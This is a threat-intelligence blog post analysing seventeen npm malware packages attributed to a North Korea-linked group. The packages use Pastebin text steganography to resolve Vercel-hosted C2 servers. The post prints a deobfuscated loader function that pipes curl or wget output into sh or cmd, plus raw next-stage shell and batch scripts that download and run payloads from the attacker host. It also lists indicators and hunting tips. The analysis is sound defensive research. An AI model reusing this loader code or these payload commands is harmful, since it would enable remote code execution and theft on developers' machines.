This is a quick one as FAMOUS CHOLLIMA has been keeping me busy this week by testing Google Drive as a stager and my longer write-up on tracking their IP addresses through temporary mailboxes. I just cannot help writing about this one as it’s really fun — it also helps that having a sleeping baby strapped to the chest for three hours makes for idle hands, and you know what they say about idle hands!
Summary
- Seventeen recent npm malware packages use Pastebin and a custom text steganography component as a dead-drop resolver
- This signals further recent and rapid testing and development by FAMOUS CHOLLIMA
- This post contains tactical IOCs and brief hunting guidelines
From 25-26 February 2026 my continuous scanner that supports my DPRK tracking on npm identified seventeen new packages that contained novel loader logic.
All seventeen packages contain an identical malicious JavaScript file at
vendor/scrypt-js/version.js.
sha256 da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4 view raw
sample — it’s highly obfuscated, my analysis is further below.
| Date | Package | npm user |
|---|---|---|
| 2026-02-26 10:35:55 | daytonjs v1.11.20 (download) | christopher.smith.hal47 (christopher.smith.hal47[@]gmail.com) |
| 2026-02-26 10:33:00 | corstoken v2.14.7 (download) | christopher.smith.hj47 (christopher.smith.hj47[@]gmail.com) |
| 2026-02-26 10:28:26 | jsnwebapptoken v8.40.2 (download) | christopher.smith.ye47 (christopher.smith.ye47[@]gmail.com) |
| 2026-02-26 10:25:49 | iosysredis v5.13.2 (download) | christopher.smith471014 (christopher.smith471014[@]gmail.com) |
| 2026-02-26 10:16:52 | sequelization v6.40.2 (download) | hello.mr.jr29 (hello.mr.jr29[@]gmail.com) |
| 2026-02-26 10:09:45 | undicy-lint v7.23.1 (download) | patrick.sullivan1896 (patrick.sullivan1896[@]gmail.com) |
| 2026-02-26 10:05:58 | expressjs-lint v5.3.2 (download) | veryanthony00 (veryanthony00[@]gmail.com) |
| 2026-02-25 22:31:13 | loadash-lint v4.17.24 (download) | charles.cm.morgan (charles.cm.morgan[@]gmail.com) |
| 2026-02-25 22:26:36 | promanage v6.0.21 (download) | andrew.ddn.walker (andrew.ddn.walker[@]gmail.com) |
| 2026-02-25 22:21:37 | vitetest-lint v4.1.21 (download) | andrew.dea.walker00 (andrew.dea.walker00[@]gmail.com) |
| 2026-02-25 22:13:14 | prism-lint v7.4.2 (download) | stefan.matic.topdev00 (stefan.matic.topdev00[@]gmail.com) |
| 2026-02-25 22:07:50 | fastify-lint v5.8.0 (download) | andrew.dn.walker00 (andrew.dn.walker00[@]gmail.com) |
| 2026-02-25 22:03:16 | typoriem v0.4.17 (download) | andrew.d.walker00 (andrew.d.walker00[@]gmail.com) |
| 2026-02-25 21:51:56 | argonist v0.41.0 (download) | andrew.dean.walker00 (andrew.dean.walker00[@]gmail.com) |
| 2026-02-25 21:46:19 | uuindex v13.1.0 (download) | andrewdeanwalker007 (andrewdeanwalker007[@]gmail.com) |
| 2026-02-25 21:37:45 | bcryptance v6.5.2 (download) | needlesstosay (needlesstosay0o0o0[@]gmail.com) |
| 2026-02-25 19:38:58 | ether-lint v5.9.4 (download) | maheshkya (whereisandrew2[@]gmail.com) |
Analysis
These packages contain an install script: "node ./scripts/test/install.js".
The presence of an install script overrides default npm installation behaviour
and this command will run upon package installation.
This initial install.js is just a step of misdirection and simply imports
and executes the malicious payload at vendor/scrypt-js/version.js.
version.js contains three hardcoded pastebin references (in the following order):
| Pastebin link | Last edit date | Pastebin user | Views | View my mirror/backup |
|---|---|---|---|---|
| hxxps://pastebin[.]com/CJ5PrtNk | Wednesday 11th of February 2026 03:47:40 PM CDT | davidsouza23 | 353 | CJ5PrtNk |
| hxxps://pastebin[.]com/0ec7i68M | Wednesday 11th of February 2026 03:41:28 PM CDT | Edgar04231 | 15 | 0ec7i68M |
| hxxps://pastebin[.]com/DjDCxcsT | Wednesday 11th of February 2026 03:43:37 PM CDT | Edgar04231 | 19 | DjDCxcsT |
There is a loop to fetch and decode these payloads, however if the paste is formatted correctly (more on this below), the loop will break and no further URLs are processed. Effectively the second two act as fallbacks, explaining the discrepancy between “views” in the table above.
CommentIt is highly likely that a large portion of the “views” of paste CJ5PrtNk represents victims that have run this flavour of malware.
These pastes are ostensibly benign at first view, however there are minor inexplicable typos in the text:
After fetching the raw Pastebin content, the malware uses a custom decoder to extract specific characters from the text into an array of C2 URLs.
As the original implementation is obfuscated, I asked Gemini to rename variables, add type annotations, and comment on functionality. The result is available to view on Typescript Play, where you can safely run it yourself to see the decoded C2 addresses as shown below:
All three pastes decode into the same payload array:
ext-checkdin[.]vercel[.]app
cleverstack-ext301[.]vercel[.]app
cleverstack-app998[.]vercel[.]app
brightlaunch-ext742[.]vercel[.]app
brightlaunch-app615[.]vercel[.]app
primevector-ext483[.]vercel[.]app
primevector-app920[.]vercel[.]app
zenithflow-ext156[.]vercel[.]app
zenithflow-app877[.]vercel[.]app
cloudharbor-ext664[.]vercel[.]app
cloudharbor-app239[.]vercel[.]app
sparkforge-ext518[.]vercel[.]app
sparkforge-app790[.]vercel[.]app
logicfield-ext432[.]vercel[.]app
logicfield-app681[.]vercel[.]app
atlasnode-ext957[.]vercel[.]app
atlasnode-app204[.]vercel[.]app
signalbase-ext369[.]vercel[.]app
signalbase-app845[.]vercel[.]app
neuraldock-ext126[.]vercel[.]app
neuraldock-app734[.]vercel[.]app
orbitstack-ext592[.]vercel[.]app
orbitstack-app318[.]vercel[.]app
fusionlayer-ext807[.]vercel[.]app
fusionlayer-app463[.]vercel[.]app
quantapath-ext275[.]vercel[.]app
quantapath-app914[.]vercel[.]app
visiondock-ext648[.]vercel[.]app
visiondock-app157[.]vercel[.]app
openmatrix-ext539[.]vercel[.]app
openmatrix-app882[.]vercel[.]app
Next, the malware visits each of the domains in the array and retrieves a platform-specific payload to execute in the victim’s shell. This is similar to FAMOUS CHOLLIMA’s abuse of VS Code Tasks documented in Open Source Malware’s blog post,
Below is a Gemini-assisted rewrite and annotation of the payload-retrieval logic observed in this sample (thanks for the safety warnings Gemini!).
executeRemotePayload function is called checkUrl in the original obfuscated
content, if you’d like to cross-reference:
/**
* WARNING: This function is a malicious Remote Code Execution (RCE) trigger.
* It downloads and executes arbitrary code from a remote server based on the OS.
* * @param c2Host - The domain or IP of the Command & Control server.
*/
async function executeRemotePayload(c2Host: string): Promise<{ url: string; working: boolean } | void> {
try {
const platform = os.platform();
let shellPath: string;
let shellArgs: string[];
if (platform === "darwin") {
// macOS: Downloads from /api/m and pipes directly into bash
shellPath = "bash";
shellArgs = ["-c", `curl -s 'https://${c2Host}/api/m' | sh`];
}
else if (platform === "linux") {
// Linux: Downloads from /api/l via wget and pipes into bash
shellPath = "bash";
shellArgs = ["-c", `wget -qO- 'https://${c2Host}/api/l' | sh`];
}
else if (platform === "win32") {
// Windows: Downloads from /api/w via curl and pipes into cmd.exe
shellPath = "cmd.exe";
shellArgs = ["/c", `curl -s https://${c2Host}/api/w | cmd`];
}
else {
// Fallback for unsupported OS (e.g., FreeBSD, AIX)
return {
url: c2Host,
working: false
};
}
/**
* Executes the command silently.
* stdio: "ignore" ensures no output appears in the console,
* making the execution invisible to the user.
*/
spawn(shellPath, shellArgs, {
stdio: "ignore",
detached: true // Often added in malware to keep the process alive if the parent dies
});
} catch (error) {
// Silent fail to avoid alerting the user if there's a network/permission error
}
}
NoteOnly the first domain (ext-checkdin.vercel[.]app) actually returns a status 200.
All subsequent domains return a 404
The deployment could not be found on Vercel.That said, this long list acts as a fallback. If ext-checkdin.vercel[.]app gets taken down, FAMOUS CHOLLIMA can simply stand up a deployment at the other sites and the infection chain remains working.
Additionally, if the user-agent is not
curl, the deployment at ext-checkdin.vercel[.]app responds with a status 200 but with the raw contentPermanently suspended(response hashaccf04ad3228a22532d2f5802a5b0c379c3616564c4766fc1f1ca20dac8dba07).
Next stage
This post is getting long, so I’ll just paste the next-stagers for each platform (as per the path URI at ext-checkdin.vercel[.]app). Follow-on research is left to the reader. I’m tired!
path: /api/l (Linux)
======
response hash: 869c327b8dc757fa126cd281bc4a14d809c50e9a792954442c55cea5b46912ec
======
raw payload:
#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/.config"
clear
wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://ext-checkdin.vercel.app/api/tokenl?st=eXVCQi90UlVBMkF0MkpOd09jY1hJdz09OlAvcFZYajB5dG1QbUczTm16ZFVoQUhIcFVjL3ZOUFYxQlBRZEw1emp5K2gvTnE1VmFEamFQaG4zVEdwNDJSRVdoRm1zTEVXbitjSlBMWnd2blp1ZWFJcWhjNnZicWMwUVNGUTZWUndrb0pnWVRmbnRJcVJrcXM5NUtQRllGNCtNeThZZEQxQjY1T3M3a1hwbXhpMWdtRjhnclZkOXhwT0J6d0RHbjdrSXY3UT0"
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
path: /api/m (MacOS)
======
response hash: bce0da6547ae74f97e2bb61672a3e159b837acf01f7c68a813ea75c3835ff303
======
raw payload:
#!/bin/bash
set -e
echo "Authenticated"
mkdir -p "$HOME/Library"
clear
curl -s -L -o "$HOME/Library/tokenlinux.sh" "http://ext-checkdin.vercel.app/api/tokenl?&st=Z09RcS80UmR0VzdpTUh0Q055Y3ZIQT09OnpadVJXRElOV0o0TkFxbDRneFAwRHVzbnU5SVJLUURTcjUvcnBiY0o3MG42L1pCM3lmdjFVMk0zdkhjdGg1QkV4bzZJMkNmQStCejY3bEd4b1NRQnZEQkE2RXhVL1FkZjJDWUdzNGJNVVQ4UVZVc0JMZklTa1pzaFR0T0pSVnVSVXFHRnR2WGNuMUlVV2RtdlpRcXlyN2JWWTBwYzFCTEpkRVJnSFdCdW5Hdz0"
clear
chmod +x "$HOME/Library/tokenlinux.sh"
clear
nohup bash "$HOME/Library/tokenlinux.sh" > /dev/null 2>&1 &
clear
path: /api/w (Windows)
======
response hash: e361d2859ba2eb2540bf6fb12db0b9857ef610bb9920830921e986d4b9109e89
======
raw payload:
::@echo off
if exist "%APPDATA%\parse" del "%APPDATA%\parse"
if exist "%APPDATA%\token.cmd" del "%APPDATA%\token.cmd"
if exist "%APPDATA%\.sv" del "%APPDATA%\.sv"
curl -s -L -o "%APPDATA%//parse" "http://ext-checkdin.vercel.app/api/tokenw?st=eTExbGRFdENlUlVWbTRyS2ZlMXFuQT09OmpJb0RRWktvV2wzaVRSNWZ4RzVqV1AwM0w2L3ZiZ1ltS1MvZ2E4aGQ1dFlYQmxjeHd3VmdSMkRVRTExL21VZS94aGl1MFBHWDRqSDdicTZMRHYrSWFaRDh6N3Zmcis4VXFybzRXNzU4blVYalNJUnRQVzEyZUJDZlJQdCtYajVBOUxXbnVLaVJuNnlNWXd3bDMvTnlRQWhDVEZDSDhreXdvdEpuVG9TVkpOZz0"
ren "%APPDATA%\parse" token.cmd
"%APPDATA%\token.cmd"
::cls
Hunting guidelines
I’ll keep this short and sweet:
- Node.js process spawning curl or wget — likely noisy but worth a look
- Node.js process DNS lookup to pastebin.com
wgetorcurluser-agent GETing a Vercel deployment
Assessment
With two distinct novel loader techniques observed in a single week, this marks an unusually rapid pace of development by FAMOUS CHOLLIMA. It is likely they will continue to iterate and test various infection methodologies simultaneously in the short term.